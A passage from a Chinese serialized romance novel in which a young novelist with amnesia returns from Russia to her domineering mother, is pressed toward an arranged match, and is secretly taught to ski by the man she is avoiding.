她合上电脑,而后出门,经过长廊时迎面而来的几位姑娘。
为首的那个女生在和同伴说话,千瑶见到她的那刻顿时惊喜。
“欸,是你。”
那个送她伞的汉服小姐姐。
“你也住在这儿?”
女生扭头,见到千瑶来到她面前,“真是巧了,你也住在这儿?叫我暮雨就行。”
暮雨没有穿汉服,她身旁的几个小姐妹也是拉着行李箱。
“我们来这儿旅游,刚好换了酒店就住
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在这儿,听说东边发生了动乱,这边安全一点。”
千瑶见到同胞,感觉特别亲切。
“你们住在几号房间?”
“那儿。”暮雨一笑,开了门。
就住在千瑶对面,她觉得和暮雨特别有缘分。
“你们现在饿不饿?我打算去餐厅吃些东西,一起吧?”千瑶邀请道。
千瑶想和她们交朋友,在异国他乡见到同胞,她想多聊聊天。
暮雨身后的几个姑娘面面相觑,暮雨扭头,视线停留在她们身上。
“我想先修整一会儿,就不去了。”
“我还有点事儿。”
“.,.....”
千瑶略有些失落,她听出了她们的拒绝。
“我和你去吧,逛了一天,我也饿了。”暮雨搭在千瑶的肩上,对她说道。
千瑶很高兴暮雨能接受她的邀请,她吃饭不孤单了。
餐厅典雅古朴,长长的柱廊高耸。
精美的浮雕在墙上栩栩如生,这里的餐厅人不算多,千瑶预约好了位置。
菜品很快上来,都是当地的特色。
千瑶尝了一勺甜菜汤,非常好喝,是她喜欢的味道。
她抬眼看向暮雨,她没有动面前的菜,而是神情很严肃,时不时地看向周围。
她眉头蹙起,看上去很警惕。
“你怎么了?好像很紧张?”
暮雨视线转向千瑶,对她柔和一笑,“哦,最近圣彼得堡有恐怖袭击,有些紧张罢了。”
千瑶点点头,“是啊,我明天也要走了,你们最好别久留。我还在冬宫经历了枪击,现在局势紧张,恐怖分子太猖獗了,破坏和平。”
“我们也是明天离开,该打卡的景点都去了。”
千瑶尝了一口酒,还是她特地要的伏特加,这里的伏特加特别出名。
她刚喝下就烈得不行,直烧着喉咙。
当地的酒都很烈,但是回味甘甜,浓郁的酒香让她的脑袋晕乎乎的。
“欸,你别喝这么急。”
暮雨看她喝酒的模样,就知道她一点经验都没有。
千瑶放下酒杯,她食指拇指还比了一下,“就一点点,不多的。”
千瑶看着暮雨,支着脑袋看她,“你和同伴来旅游,我是自己来的,虽然有点孤独,但是我很快乐。”
“曾经我也和一个人这么说过,想和他一起去的。他总是误会我,不相信我,总是让我很难过。”
“我讨厌他的控制,从来没有考虑过我的感受。”
千瑶带着哭腔,眼睛都红了。
她手边的酒杯,一口闷下。烈酒直烧着心扉,她感到一丝快意。
“对不起,我不知道今天怎么了,情绪有点失控。”千瑶朝她笑笑。
酒精冲昏脑袋,脸逐渐被酒晕染绯红。
耳朵红得滴血,看着人的眼朦胧。
千瑶喃喃自语,“我知道他在乎我,很担心我。可他根本不懂我想要什么,只会一次次地逼我。”
“我很累,很痛苦,所以我就来了俄罗斯。”
“这样看我也挺勇敢的。”
千瑶抿了一口酒,笑着笑着,嘴角尝到了一丝咸苦。
泪水直直流着,划过脸颊,咸涩。
暮雨夺过酒,不能再让她这么喝下去了。
千瑶倒趴在桌旁,身体默默地颤抖。
泪枕湿了手臂,“那么讨厌的一个人......我却还在想他。”
“邵柏修......我想你了。”
51. 第51张照片
暮雨走到她身旁,扶起她的肩。
千瑶是实打实的一杯倒,她喝醉后也是一样的乖,没有吵闹。
“送你回房间。”
千瑶掀开眼帘,看着暮雨都有重影,她在暮雨的搀扶下走得晃晃荡荡。
暮雨从她的口袋里拿出房卡,将她送到了床上。
暮雨离开,门关了之后,千瑶从床上爬起来,捂着昏昏的脑袋。
拿过一旁的电脑,开机。
她无意识地打开了网页,在咕咕叨叨写了几个字。
千瑶晃了晃脑袋,看着眼前的荧幕都是花的,她缓了好一阵。
食指点着键盘,她很缓慢。
“w...o......”千瑶低着脑袋,一下又一下地点着。
“怎么有这么多字母,多多的,还会飞。”
千瑶脸颊发烫,酒劲又上来了。她揉着脸,总算能看清一点。
她浑身发热,穿的衣服很多,脱了一件,还在出汗。
千瑶摸着自己的额头,温度还好。
她缓缓的说道:“没有发烧,非常安全。”
千瑶又盯着屏幕,很苦恼,“‘柏’怎么打了......”
“好难。”
千瑶手指按在“enter”键,直接发送了。
而后脑袋砸在键盘上,沉沉地昏睡过去。
“叮铃——”
“丁铃铃铃——”
手机的闹铃在响,千瑶迷迷糊糊地醒来。
一看时间,早上五点半,她是九点的飞机。
千瑶一想到这儿,赶忙冲去厕所洗漱,她还有一堆行李没收拾。
东西特别多,她一向收拾行李非常慢。
她本来计划昨晚吃完饭回来整理的,没想到醉得一塌糊涂。
千瑶有一点印象,是暮雨送她回来的。
她锤了锤脑袋,对于醉酒非常后悔。
她将东西都装箱,还有带给雪莉卡的礼物,这个要好好放着。
临走时,千瑶想到了住在对面的暮雨。
她写了一则便签,贴在对面的门上,感谢她昨天送自己回来。
千瑶去到前台,将自己准备的礼物交给前台服务员,麻烦她将自己的礼物带给暮雨和她的小姐妹。
交代完后,千瑶立刻打车去机场。
好在酒店距离机场不远,国际的航班要提早去准备托运安检等等,还好她都赶上了。
在排队时,千瑶点开小说app,她的评论区炸开了锅。
【我会跳科目三:大大又谈恋爱了?我的天哪。】
【刀马刀马:没准是之前的那位,大大和他又复合了,就那个前男友。】
【正道的光照在了大地上:拒绝关注作者私生活,请关注作品谢谢。】
【这种症状多久了:我去,这就是钩子吗?啊啊啊啊邵什么,邵什么啊啊啊啊】
【......】
足足叠了几百楼。
千瑶盯着评论区,什么东西。
她确定昨天更新没写什么特别的雷点。
一向风平浪静的评论区,炸出了这么多读者,令她很意外。
千瑶的作话没有发布什么内容,她昨天就没有写。
千瑶逐一把评论看了过去,直到她点开了自己的专栏。
文案上,赫然写着。
“我想你了,邵”
她心脏猛地一缩,记忆闪回。
昏暗的房间,冰凉的键盘。
迷情的酒,混乱的她。
“w...o......”
“‘柏’怎么打了......”
千瑶脸色顿时蹭蹭蹭地爆红,她竟然写了这些内容。
疯了,疯了。
她真的是疯了。
昨晚她醉酒,直接把这句话放在了专栏文案,让所有读者都见到了。
还好她醉得不行,忘记了“柏修”的拼音,不然情况更加糟糕。
千瑶迅速登入作家后台,匆匆忙忙地将专栏的那句话火速删了。
脸的炙热还没降温,简直比昨天喝酒后的脸更烫。
只要删掉了,就当做一切都没发生过。
底下的评论还在继续,纷纷疑惑作者的忽然上线,还把那句话删了。
【狸:邵什么?想听。】
一条评论跳出,千瑶尴尬得不行。
握着手机的手还在出汗,她已经顾不得回复任何人,只想这场议论的风波过去。
【狸:是大大喜欢的人吗?是不是恋人?】
【狸:我猜是大大的老公。】
【狸:想他,是不是爱他,大大可以回复一下吗?】
【......】
狸一连发了十几条,读者们议论得更加热烈。
千瑶本想就让这件事安分地过去,狸时不时地就跳出来评论。
而且还要和别的读者说,这肯定不是前男友。
说什么大大不会吃回头草,因为兔子不吃回头草。
前男友那么渣,大大喜欢喝暴打渣男柠檬茶,肯定不喜欢渣男。
狸还在评论区,和别的读者杠了起来。
逻辑是没有的,喜欢邵先生是肯定的。
狸又开始刷屏,说大大喜欢邵先生。
大大喜欢邵先生。
大大喜欢邵先生。
吵得千瑶眼睛疼。
她觉得这个狸肯定是想和她对着干,什么都踩在她的雷点上。
千瑶深吸了一口气,让自己冷静。
她关掉手机,眼不见为净。
她真是痛恨昨晚的自己,大半夜起来码什么字。
千瑶希望邵柏修没看到那些话,否则她就真找个地洞,把自己塞进去。
飞机要起飞了,千瑶赶紧登机。
她去M国这件事,只和雪莉卡打了招呼,雪莉卡很兴奋,她会来接机。
千瑶在飞机上补了一下觉,醒来飞机就即将落地。
她拿完了行李,走到接机大厅时,被眼前的场面镇住了。
两侧站着西装革履的保镖,整体训练有素。
身材颇为高大,清一色的欧美人,见到千瑶颔首俯身。
严肃而恭敬。
周围旅客频频侧目,千瑶站在中间,顿时懵了。
雪莉卡朝她招手,给了她一个飞吻。
千瑶快步走过,与她相拥。
“千,你终于回来了。”雪莉卡摘下墨镜。
“我也很想你的,雪莉卡。”
千瑶打量着她身旁的人,见他们还站着。
千瑶迟疑,“他们是......你找来的?”
千瑶把雪莉卡扯到一边,低声道:“多少钱呐?”
她说的接机,也不用这么大的阵势,毕竟雇演员也是很费钱的。
她不想雪莉卡花这种冤枉钱,绝对会被骗。
雪莉卡忍着笑意,好一会儿才缓过来。
“这多有排场,我也想多体验体验,不过还真不是我找来的。”
“嗯?
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什么意思。”
一个保镖上前,在千瑶身旁俯首道:“千小姐,夫人请您回去共进晚餐。”
千瑶扭头,对上雪莉卡的眼睛。
“我妈妈。”
雪莉卡点头。
保镖自然而然地接过她的行李箱,而后让千瑶跟着他们出去。
这一路上,雪莉卡欲言又止,难得见她一句话也说不上来。
“其实就在几天前,你妈妈联系上我,问我你去了哪里。”
“她发现有人冒充你,而后不知怎么的,就找上了我。所以今天你来M国的消息,是我告诉她的。”
千瑶垂下眼眸,冒充这件事,她不用想也知道是邵柏修干的。
他骗了妈妈很久,以至于现在才被发现。
雪莉卡送她到机场外边的路口,“我就先走了,明天咱们约。”
千瑶挥手和她告别,而后身边的保镖替她拉开了车门。
“谢谢。”千瑶看了他一眼,道了声谢。
千瑶在去的路上,她的心情莫名地忐忑,有些不安。
说不上来的压抑,这种情绪是莫名的。
她的记忆根本没好全,一切都是片段式。
雪莉卡和她说过,她的妈妈千轶芸是M国的富商,也是千氏制药集团掌权人。
千氏在M国有举足轻重的地位。
千轶芸是个铁手腕,能将曾经寂寂无名的公司,发展到如今的千氏集团。
对于母亲的印象,她脑海中能想起来的并不多。
车缓缓驶入一个庄园,在庄园内有一个中式的庭院。
“小姐,请。”
佣人随即上前。
千瑶感觉这里很熟悉,熟悉的假山流水,茂林修竹的庭院。
穿过一个古朴的长廊,走入厅内。
一人端坐在木质沙发上,手边持着青花瓷茶盏。
她的眉眼凌厉,头发盘起仅用一根木簪固定,白色笔挺的西装衬得她干净利落。
热茶冒着腾腾热气,她抿着茶,未抬眼。
“回来了。”
“嗯,妈妈,我......”
千瑶站在她面前,有些不知所措。
千瑶不知道该如何与她相处,也不知道两人的关系应该是怎样的。
千轶芸放下茶盏,看向她的眼神平静。
“知道你失忆了,过来,给你爸上香。”
身旁的佣人递给千瑶三根香,千轶芸缓缓起身,千瑶跟在她身后。
在一间屋内,一副相框摆在台的中央。
他的面容和千瑶极为相似,眉眼温柔如水,面庞棱角分明。
眼尾的刀疤给他添了几分狠绝,眉峰高耸。
他容貌俊朗,身着一席警服,看着镜头微笑。
是千瑶记忆中的模样。
她不由自主地眼眶酸涩,泛红了眼。
千瑶虔诚地奉香,她忘记了,祈求他的原谅。
她在这张相框前待了很久,“爸爸,我回家了。”
门口的千轶芸双手环臂,注视着里边的千瑶。
“出来,和你有话说。”
千瑶匆匆抹去眼角的泪水,吸了吸鼻子。
出到了客厅里,坐在千轶芸面前。
千轶芸拿起手机,递给她。
“打电话。”
“啊?”
千瑶懵住了。
她愣愣地接过千轶芸的手机,不明所以。
“给谁打电话?”
“景喻哲。”
52. 第52张照片
“为什么要打?我......其实已经和他分手了。”
千瑶攥着手机,重新放回桌面。
她不想去跟他再联系,她对景喻哲没有感情,也不想打扰人家。
“都是儿戏。”千轶芸注视着她的眼神平静。
她的话语带着不容拒绝的意味,压在千瑶的心头。
千轶芸见千瑶垂着视线,不安地坐着。
她的语气稍稍和缓,“你之前不是喜欢他吗?对于联姻这件事,你当时没有拒绝。”
“现在怎么改变主意了,难道就因为失忆?”
千轶芸注视了她许久,移开目光。
“你也累了,先吃饭。”
身后的管家立刻让佣人上菜,佣人端着菜肴鱼贯而入。
棕色木质长桌,桌上摆着中式的菜肴。
很丰盛,而且有鱼汤。
千瑶确实饿了,她从飞机上下来,一直没吃东西。
她尝了一口,鱼汤特别鲜,鱼肉没有刺,很嫩滑。
千轶芸的动作很优雅,白色的西装外套挺拔,一尘不染。
她放下手中的羹匙,注视着千瑶。
“景喻哲样貌、家世,样样都还可以。”
千轶芸眉梢微挑,巾帕慢条斯理地擦唇,“我听说了景家的那些事。”
“他能在短时间内接下集团,并且重振了景氏,他很有手段。”
“对于他的出轨,景喻哲亲自和我解释过,这件事是别人有意做局的。”
千轶芸扔帕子在桌上,身体微微前倾。
“千千,是不是有人跟你说了什么,让你误会他了。”
凝视的目光幽深,在她面前,千瑶就像是赤裸地暴露在她面前,一点谎言都没法儿掩盖。
千瑶咽下暖白的鱼汤,视线在鱼羹上没抬眼。
“没有的事。”
“哦?”
千轶芸双手交叠,手肘撑在桌上。
“几天前,我忽然察觉你的微信消息有问题,被别人冒名顶替。”
“是邵柏修做的。”
她的语气很淡然,就像在说天气一样稀松平常。
“我回国的时候,跟哥哥说了一声。”千瑶对视上她的眼。
“我也就这有这一段记忆。”
千轶芸的神情冷了下来,摩挲着无名指的银戒。
柳叶眉轻蹙起,“失忆前,你还瞒了我这一段。”
“千千,无论是失忆前,还是你现在,我都要再重申一遍,不要和邵家人有任何联系。”
她的声音很冷,犹如萃着冰霜。
千瑶感觉到莫大的压力,鱼汤是怎么也喝不下了。
她放下汤匙,“我知道了。”
“你不知道。”千轶芸盯着她,没有表情。
“不然你也不会背着我,偷偷回国去见邵柏修了。”
“你把他当哥哥,他把你当妹妹了吗?他看中的只有你千家大小姐的身份。”
千瑶被说得心里一涩,其实不是这样的。
“之前邵氏集团是怎么一步步蚕食千氏的?邵向群背弃与我的协定,假意结婚共赢合作,结果谋求的是最新的生物基因疫苗,使得他们大赚一笔。”
千轶芸食指点着桌面,“同样的错,我不会犯第二次。”
千瑶猛地抬头,眼中满是惊诧。
原来这就是他们离婚的原因。
而在之前的出租屋里,邵叔叔还说是他们不合适,所以分开了。
这与邵叔叔之前说的完全不同,背后竟然藏着这么多算计,千瑶愣住了。
“妈妈,对不起,这些细节我现在才知道。”千瑶攥着筷子的手一紧。
千轶芸轻蔑一笑,“邵向群这个老东西,总算进去了,邵柏修还算做了一件人事。”
“本来就没有什么感情,都靠利益拴着,就你还傻乎乎地当他们是亲人。”
千轶芸眼睛微眯,她当时带着千瑶入邵家。
为了壮大公司,和邵家合作,与邵向群协议结婚,是她这辈子做过最愚蠢的决定。
她看向千瑶,神情微微动容,就千瑶还动了真感情。
千轶芸想到那个人,千瑶是玩不过他的。
“你离邵家人远点,尤其是现任邵家掌权人邵柏修。”
千轶芸声音悠然,眸中的思绪让人看不清。
“他们......都有病。”
千瑶看着她的神情,她理解千轶芸的防备。
妈妈对邵向群恨之入骨,一时对邵柏修也难以接受。
千瑶是念着这段兄妹情谊的,可是在她失忆之后,一切都变了。
妈妈有一点说对了,邵柏修没有把她当做妹妹,而是当成一个所有物。
用谎言编织的陷阱,让她自愿爱上他。
千瑶一想到这儿,心里翻涌着难受的情绪,眼眶微湿。
邵柏修只会设计人,不会真心待她,理解她。
“吃好了就去给景喻哲回个电话,他担心你。”千轶芸起身。
“可是......”千瑶猛地抬眼,着急道。
“可是什么?”千轶芸走到门外,转身看着她。
那种眼神冷漠而陌生,“千千,有些东西我不明说,你在Z国和谁在一起,要断就断清楚。”
“话我不会再说第二遍。”
千轶芸走的时候,千瑶愣坐在桌前。
原来她和邵柏修的事,她已经知道了。
佣人拿来电话,放在她桌前。
“小姐,夫人要、要我看着您打。”
千瑶看着桌面上摆着的手机,佣人站在一旁也很为难。
千瑶揉了揉发疼的眉心,她见到年轻的佣人还站着,还在焦虑不安地搓着手。
“行,我打。我去院子里,你在这儿看着就行。”
千瑶不愿为难人,如果她不打,以妈妈的态度就会直接解雇她。
千瑶很早就注意到从刚刚机场到这儿,所有保镖佣人都特别有礼节。
每个人均是带着浅淡的微笑,服从命令却没有人情味,就像一台高速运转的机器。
这是千轶芸训练出来的,她行事作风一向果决。
她忽然明白,自己为什么会在普林斯顿大学住宿四年了。
千瑶拿手机起身,去到院子里,号码拨过去。
电话那头迅速接起。
“我、我是千瑶。”
“千千?”声音欣喜。
“怎么会是这个电话,你回了M国?我没想到你还会联系我。”
千瑶有点听不清,手机里传来的音乐声特别大,还有人在欢呼尖叫。
听起来就像在夜店里,嘈杂纷乱。
“对不起,我听不太清楚。”
而后的几秒钟,电话里的喧嚣安静下来。<
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“抱歉,家里的音乐太大声了。你的记忆......恢复了?”
千瑶抿唇,“还没有。”
“这样啊。”他听上去有些失望。
“有一件事,我还是想找你说清。你和我之前约定的恋爱协议,虽然是为了应付家里的催婚,我对你的喜欢是真心的。”
他顿了顿,“一切都没变,千千。”
“你提出分手的时候,是我破坏了协议在先,让人拍到了照片,我向你道歉。”
“恋爱协议?”千瑶困惑。
“嗯,假装男女朋友,你当时为了应付千姨,协议还是你主动提出来的。”
“我在想,你还要继续吗?千姨期望你和我在一起。”
“你放心,我不会对你做出格的事情,只要你愿意,我们还可以像以前一样相爱。”
这个消息在千瑶耳边炸开,院内的风掀起波澜,扬起她的发丝,直直冲着她的思绪。
原来她和景喻哲是假情侣,都是为了应付千轶芸。
而他能答应下来,应该也是看中了千家的背景,千家能替他提供裨益。
不然景喻哲不会陪她玩这种游戏。
“千千?还在吗?”
“在的,你说的我回去再重新考虑一下。”
景喻哲轻笑,“没事,不着急的。”
“和你相处的三个月,我很开心。”
“很抱歉,我都忘记了。”千瑶愧疚。
“我下次再回复你。”
她也是直到今天听景喻哲说起,她才知道协议的事。
挂断了电话,千瑶看着手机,站在庭院许久。
这件事她要慎重考虑,感情是两个人的事情,她之前的行为太儿戏。
虽然景喻哲是这么说,让她不要有压力。
她心里过意不去,哪怕是为了应付千轶芸,她也不要有亏欠景喻哲。
她口袋里的手机震动,响着铃声。
千瑶接起。
“明天上午十点,我家,福克庄园,见你人。”
“礼物,吃饭,滑雪。”
“over。”
“欸欸.....”千瑶还没来得及开口,她就挂断了。
她看了眼来电,雪莉卡。
无奈一笑,雪莉卡说话精简的时候绝对是在做实验,抽出一点时间打电话和她约会。
也没给千瑶拒绝的机会。
电话另一头,手机停留在电话簿的页面。
景喻哲扶手看着窗外,若有所思。
从身后攀上一双手,脑袋挨着他的肩头。
大波浪卷发垂落腰间,红色丝绸的紧身布料堪堪包裹住关键部位。
身材火辣妖娆,吐出的声线也是婉转,“景总,快回来喝酒了,大伙都等着您呢。”
景喻哲扭头看她,眼神倏然恍惚。
女人被他这么注视着,有些无所适从。
也仅仅一瞬之间,他的眼神变了。
“下次别这么笑,把你的妆都擦掉。”
景喻哲捏着她的下颌,盯着她清纯的眉眼,勾唇时浅浅的酒窝。
他的指尖按在她的酒窝上,指腹摩挲。
“把头发拉直,留刘海,再换件白色的裙子。”
他嘴角浅笑荡然无存,和方才打电话是两种状态。
“我很喜欢你这张脸,不然也不会买你。”
53. 第53张照片
福克庄园。
千瑶一早就来了这儿,佣人引她入宅,她还没走到大厅,雪莉卡就迎了上来。
“千,昨天都没有时间和你多聊,快坐下尝尝我的手冲咖啡。”
千瑶捧着黑咖,坐在一旁。
她打量着周围,雪莉卡的家装饰得很艺术,偌大的房子就她一个人住。
她爸妈不在纽约,而是在旧金山。
雪莉卡在看千瑶给她的礼物,简直爱不释手。
“你太懂我了,我都好喜欢。”
每一副墨镜都戳在她的心上,她试戴了几副颇为满意,还拉着千瑶要拍照发朋友圈。
中午雪莉卡做了西餐,她的手艺非常好。
千瑶尝了一口牛排,味道比她自己之前做的牛肉干好吃多了。
她先前做的又硬,还嚼不动。
千瑶忍不住笑道:“我也做过牛排,不对,应该说是牛肉片,结果太硬了,变成了牛肉干。”
“你什么时候做的菜?我竟然没亲口吃过。”雪莉卡不满。
“当时是为了给......”
千瑶笑意冻住,想到邵柏修,她就不说话了。
那已经是很久之前的事情了。
雪莉卡见她忽然卡壳,分明一副不想提起的模样,应该是想起那个让千不高兴的男人。
她不再谈这个话题,不然又让千伤心了。
“我们吃完后休息一下,下午去滑雪吧。”
“欸?”
“欸什么,昨天电话里说得这么清楚了,今天的行程我已经安排好了。”雪莉卡勾了勾唇。
千瑶想起昨天雪莉卡在电话里简单的三句话,不由汗颜。
千瑶皱眉,她对滑雪非常陌生,她确定自己是没有这个记忆的。
更别提什么滑雪技巧了,她到时候估计站起来都难。
“可我不会滑雪。”
“不会就得尝试,反正我都约好了,绝对给你配个教练。”雪莉卡拍着胸脯保证。
露天滑雪场,温度适宜。
阳关洒在身上,感觉非常舒适。
千瑶戴好了头盔雪镜,其余装备穿戴齐全。
一身纯白滑雪服,雪镜遮住她的眼,更添了些冷冽。
千瑶看着镜子里的自己,目不转睛。
她有点迷恋上了。
“雪莉卡,我觉得我好帅啊。”
雪莉卡被她的样子逗笑了,见千瑶站在镜子前迟迟不走,还拍了好几张照片。
千瑶在雪具大厅里,穿着雪鞋她行动不便,迈着小步子。
她小步小步地挪动,慢慢倒腾,就像是一只企鹅。
让周围侧目,一看就是全新新手。
“你沿着地毯走,走在地砖上容易滑倒。”雪莉卡扶着她,让她跟着自己。
二人上了雪场后,千瑶往下俯视,感觉一览众山小。
但是这里太高了,她站着有点晕,她是有点恐高的。
周围人一下就冲下去了,她看得一愣一愣的。
千瑶刚想问身边的雪莉卡,她想要教练,她一个人不行的。
“芜湖eandweeyourqueen.(快来迎接你们的女王吧)!”
说完这一句后,雪莉卡扬起笑意,飞速冲了下去。
千瑶伸出的手还没收回,“雪......”
“我的教练呢......”
“在这儿,千小姐。”
声音从身后传来。
她一扭头,身后站着一个身穿黑色滑雪服的男人。
他的身材高大,雪镜遮住他的半张脸,扬起的笑意肆意张扬。
精心勾勒的下颌线,微轻挑起的薄唇。
这个人一定长得很好看。
“千小姐,我就是你的教练,你可以叫我弗格斯。”
他的中文说得很溜,而且语气很温柔。
千瑶注视着他,一时之间,那个熟悉的语气,熟悉的感觉又上来了。
这跟她在冬宫遇见恩人一样,嗓音很像邵柏修。
“先到平缓的地带,这里比较适合高手,暂时不适合你。”
就在弗格斯说完这句话后,一个身着可爱童装滑雪服的小孩站在身旁。
就这么水灵灵地从千瑶身边滑了过去,还顺势回头看了她一眼。
千瑶顿时怔住了,盯着那抹小身影,融入雪场中。
“他刚刚......好像在嘲讽我。”千瑶指着那个小孩。
弗格斯深吸了一口气,“额......他也是个隐藏的高手。”
千瑶跟着弗格斯到了斜下方的平缓地带,这里有很多新手练习。
她作为一个零基础的滑雪新手,听弗格斯讲的时候,非常认真倾听。
“刹车,避让,还有学会摔跤,这几个比较重要。”
“都会了吗?”
千瑶点头,会了。
而后刚走两步,“啪叽——”,她就摔了。
弗格斯的语气一直很柔和,允许她的连续犯错,也没见他有不耐烦的情绪。
她仔细地学习了一会儿,而后她可以简单地走路,还有下滑。
“我会了!谢谢你弗格斯。”
他教的很多内容非常实用,而且她能理解,尤其是摔跤的时候,怎样摔才能停下来。
对于千瑶这个摔跤的老手来说,非常合适。
她现在可会摔了。
这里的滑雪道坡度较小,从这里滑下去比较安全。
弗格斯看了一下周围,人也比较少。
“你试试从这儿滑下去,我就在你旁边,你尝试一下,大胆滑。”
“啊?”
“现在吗?我还没准备好。”
千瑶心里发憷,她刚刚虽然学会了,真正的实操下来,还是很不自信。
那个滑雪小孩再次从她身旁经过,他的屁股后还挂了个乌龟屁垫,始终对着她。
小孩再次看了她一眼。
千瑶忽然扶起自己的雪镜,对着一旁的弗格斯坚定道:“我准备好了。”
“弗格斯,我上了。”
千瑶弯腰俯着身子,俯冲下去。
弗格斯忍着笑意,和她一起下去。
弗格斯见她紧绷着身子,“放轻松点。”
千瑶心在怦怦直跳,雪道绵延,她感觉到自己的速度越来越快。
而她还学不会刹车,而后不可遏制地一直加速往前滑。
“啊——”
“千小姐!”
弗格斯见她控制不住重心,忍不住要倾倒,却始终停不下来。
千瑶害怕地尖叫,她根本刹不住车。
“千瑶!”
弗格斯着急喊道。
他迅速地加速下滑,比她更快。
在下方的缓坡,弗格斯先她几秒停住,而后身后的千瑶紧随而下,直接扑在了他身上。
千瑶闭着眼睛,却撞入了一个柔软的怀抱。
头盔相撞,雪镜下的双眸与他四目相对。
弗格斯扶着她的腰,被她压在身下。
低声的喘气冒着淡淡白雾,呼在她的脖颈,滚烫灼热。
千瑶脑袋被撞得有点懵,手掌扶着他的胸膛。
千瑶抬起头,仅差一点,就碰上他的薄唇。
她练习了无数的摔跤,却
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摔在了弗格斯的身上。
“没事吧?千小姐。”弗格斯紧张地问道。
他观察着千瑶的身上,一切都整整齐齐,没有掉东西,也没有受伤。
千瑶摇头,“还好有你在下边扶住了我,不然我肯定摔得特别惨。”
“滑下来和在上边的练习还是有很大差别,刚刚是我紧张了。不过你肯定是个特别好的教练,你让我很有安全感。”
“弗格斯,谢......”
忽然,弗格斯护着她的脑袋,大手直接将她按在了怀里。
千瑶耳朵靠在他的胸口,被他环抱着。
下一瞬,无数雪飞溅袭来,冰碴子雪沫飞起,打在两人身上。
雪莉卡一个漂亮的滑刹,“嘿,二位这么亲密,千,给你们营造点雪落的氛围。”
她挑起眉,注视着地上的两人。
千瑶随即脸一红,赶忙从他身上起来。
千瑶抖了抖身上的雪,都怪雪莉卡弄的,她肯定大老远就看见自己了。
“雪莉卡你抛弃了我,还弄我一身雪。”
雪莉卡一进到雪场,就跟疯了一样。各种炫技,滑了个尽兴,根本不管她这个好姐妹。
雪莉卡大手揽着千瑶肩膀,脸颊贴贴。
“抱歉,这不是给你安排人陪了嘛。”她指了指弗格斯。
“我的滑雪技术暂时是你千瑶女士无法企及的,所以就找了个高手教你,学得如何?”
“千小姐学得很认真,特别好。”
弗格斯主动回复道。
说到这个,反倒是千瑶不好意思了。
她就在刚刚一路滑下来,都刹不了车。姿势非常僵硬,让全场的人都看了个全。
本来应该从从容容游刃有余,现在是慌慌忙忙连滚带爬。
她没法儿哽咽,她很愧疚。
雪莉卡扬了扬眉梢,捏了捏千瑶的脸蛋。
“哇哦,千,刚刚你的惨叫我隔大老远就听见了。”
“我很关心你才来的,你看起来非常完好。”
千瑶扒拉下她的手,面无表情,“谢谢你,还抽空来监督我学习。”
千瑶想到了什么,扭头看向身后的弗格斯。
弗格斯注意到千瑶的视线,他微微一笑,“怎么了?”
“弗格斯,你真的是个很优秀的教练。由我来支付这笔教学费用吧,我还想学更多的技巧。”
“等下结束了,我会给你很多小费。”
千瑶一口气将话都说完了。
她很喜欢这个教练,认真细心,而且还会一直鼓励她。
这让千瑶对于高空也不是很惧怕了,她甚至喜欢上了这项运动。
她总算知道为什么雪莉卡对于滑雪会这么疯狂了。
弗格斯一笑,没有说话。
雪莉卡捏着千瑶的下巴,让她看着自己。
“他免费的,也不用小费。”
她低声在千瑶耳边道:“免费的用着就是好啊。”
“雪莉小姐说的对,我是热爱这项运动,喜欢教人而已,免费的。”
千瑶扬起笑意,对弗格斯印象更加好了,她再次表达感谢。
千瑶滑了一下午的雪,她感觉特别舒服。
弗格斯寸步不离,给了她极大的鼓舞。
“千小姐如果下次还想滑雪,可以直接找我。”
弗格斯与她交换了联系方式。
千瑶很快就通过了,相约下次再见,而后就和雪莉卡离开了雪场。
弗格斯看着远方二人的背影,越来越远,逐渐消失在视线内。
邵柏修摘下雪镜,注视着手里的联系方式,缓缓扬起微笑。
54. 第54张照片
“雪莉卡,原来滑雪这么好玩。”千瑶脱下头盔。
她坐在沙发上,头盔压得头发都乱了。
她拿出小梳子,把额前的刘海整理好。她今天特别兴奋,刚刚还意犹未尽。
“你是在哪儿认识的弗格斯?我觉得他和你一样专业。”
雪莉卡摘下雪镜,抿了一口橙汁。
说起来也是有缘分,她认识雪场老板,刚巧她找教练,那老板直接就推荐了这一位雪场常客。
反正也是免费的,技术能教千瑶就行。
“熟人老板推荐的,你说的倒是挺对的,我也没了解过他,不过见他滑得确实很有技术功底。”
“有机会我也想和他切磋一番。”雪莉卡眼里冒着兴奋。
“小姐,请抬一下脚。”一个清洁工俯身道。
他戴着白色的口罩,皮肤黝黑,右额有一块烫伤的疤痕。
他拿着拖把,缓缓拖过地面。
“哦,好的。”雪莉卡随即抬起。
千瑶将摘下的雪镜和头盔放在一起,她脱雪鞋很慢。
“那找个时间再和弗格斯约。”
清洁工循着声音,略微抬眼。
光是一眼,他就浑然怔在原地。
眼中眸光闪过惊诧,随即变为幽深,深沉的怨恨。
他粗糙的手攥着拖把,直接攥紧了。
呼吸急促,像那个人。
太像了。
那个孩子,就是她。
“欸,您还拖吗?”
雪莉卡见他一直盯着千瑶看,她抬了有一分钟脚,拖把也不见动一下。
“对不起,我这就拖。”
千瑶也注视着那个弓身拖地的身影,他逐渐走远了。
可是刚刚的目光让她很不舒服,就像透过她在看什么人。
那种脊背发凉,被人审视的感觉,让千瑶不悦。
“雪莉卡,我感觉那个人怪怪的。”
“是吗?那个人虽然带了口罩,但肯定是个Z国人。他眼眶不深邃,而且说的英语有口音。”
雪莉卡一手揽住她,揉了揉她的发顶,“走吧,咱们去吃点东西,刚刚滑雪都没力气了。”
千瑶点头微笑,和雪莉卡往大门的方向走。
她鬼使神差地扭头,正巧对视上那清洁工的眼神。
他身着发白的蓝色的工装,头发被汗水沾湿黏在额前。
他微驼着背,眸中是浓郁的黑,还有意味不明的东西。
阴冷怨念交缠,犹如阴湿的恶鬼。
千瑶心里猛地一缩,那人又低下头,在大厅内忙碌起来。
刚刚对视的眼神一闪而过,她仿若看错了一番。
那个男人,真的很奇怪。
千瑶还在想着,下一瞬脸就被雪莉卡掰过来。
“有帅哥?老是回头,刚刚和你说话呢。”
“抱歉,刚刚没听清,你再说一遍吧。”
雪莉卡对千瑶时不时地出神已经无奈了,有时候她呆呆的,话左耳进右耳出。
“我想你如果没有什么事的话,下午都可以过来我这边。”
“你可以来这里写作,我有很多藏书,而且你之前不是说想采风嘛,关于精神病患者的,我也有一些案例可以跟你讨论。”
千瑶点头,她两眼瞬间放光。
“那太好了,我之前的人物小传还没完成。”
千瑶想到千轶芸,和她待在一起总有压力。而千轶芸也常常外出工作,那个冰冷的房子只有她一个人自说自话。
